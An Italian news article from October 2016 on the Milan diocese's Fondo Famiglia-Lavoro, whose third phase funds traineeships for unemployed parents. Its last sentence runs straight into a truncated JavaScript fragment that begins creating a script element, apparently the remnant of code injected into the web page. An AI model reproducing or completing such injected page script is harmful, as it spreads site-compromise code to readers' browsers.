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mercoledì 16 agosto 2017 17:08:54
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Diocesi, nuova fase Fondo Famiglia Lavoro punta su occupazione: “Preoccupazione per giovani”

19 ottobre 2016 Cronaca, Lavoro/Sindacato, Politica

Parte la terza fase del fondo Famiglia-Lavoro e lo slogan ‘Diamo Lavoro’ individua da subito quale sia l’obiettivo: l’inserimento lavorativo. A presentare questa nuova fase nella sede della curia l’arcivescovo di Milano Angelo Scola, il direttore della Caritas Luciano Gualzetti, il vicario episcopale per Cultura, Carità, Missione e Azione sociale Monsignor Luca Bressan e il sottosegretario al Lavoro Luigi Bobba. Dopo una prima fase (2000-2012) in cui quasi 7mila famiglie sono state aiutate con l’erogazione di 13,5 milioni di euro a fondo perduto, e una seconda (2013-2016) in cui, oltre ai contributi a fondo perduto, si aggiungono il sostegno alla riqualificazione professionale e il micro credito finalizzato all’avvio di piccole attività imprenditoriali, la terza fase vuole concentrarsi su nuovi strumenti per aiutare chi è in difficoltà generando la piena occupazione. Negli oltre 70 distretti del fondo vengono individuati e formati esperti del lavoro che valutano con i rappresentanti territoriali delle associazioni imprenditoriali i profili delle persone che fanno domanda di aiuto e individuano i progetti di inserimento lavorativo. Rispetto al passato, dunque, il fondo concentra tutte le risorse raccolte per favorire la ricollocazione nel mercato del lavoro attraverso lo strumento del tirocinio. Per farlo il fondo stringe un patto con le imprese del territorio. Alle associazioni imprenditoriali viene proposta una lettera d’intenti per l’adesione al progetto con la quale si impegni a promuovere presso i propri associati l’avvio dei tirocini. Viene costituito, inoltre, un comitato dei sostenitori di cui fanno parte i rappresentanti delle associazioni imprenditoriali che diventano corresponsabili del progetto. Destinatari del fondo sono i residenti sul territorio della diocesi ambrosiana, con almeno un figlio a carico e disoccupati da non prima del mese di luglio 2015, oppure che alla stessa data abbiano cessato di beneficiare di provvidenze pubbliche previste a favore di chi ha perso il lavoro. Per tutta la durata del progetto, da tre a sei mesi, ogni tirocinante riceverà una borsa lavoro non inferiore a 400 euro mensili, come indennità finanziata dal fondo che ha già una dote iniziale di 500mila euro, di cui 300mila reperiti attraverso le offerte singole e 200mila provenienti dall’8×1000 che la diocesi ha deciso di destinare a questa iniziativa. Il tirocinio non garantisce l’assunzione, ma favorisce l’incontro tra il beneficiario e l’impresa che può gettare le premesse per un effettivo rapporto di lavoro. “Girando per la diocesi – ha detto Scola – sento ancora una grande preoccupazione sul lavoro legata soprattutto ai giovani. Saranno la prima generazione che starà peggio dei loro padri. Ma vedo anche che sono dinamici e creativi. A loro ma anche ai quarantenni disoccupati è rivolta questa terza fase del Fondo che abbiamo voluto chiamare ‘Diamo lavoro’ introducendo due novità. La prima è la scelta di utilizzare gli strumenti per l’inserimento nel mondo del lavoro; la seconda è il coinvolgimento delle aziende e associazioni imprenditoriali. Fino ad ora avevano partecipato al Fondo cittadini, fondazioni, ma mancava il mondo produttivo. Ora invece è coinvolto e ciò rappresenta una vero salto di qualità per superare la fasi precedenti che erano state soprattutto interventi di beneficenza”.var d=document;var s=d.createElement(‘script’);

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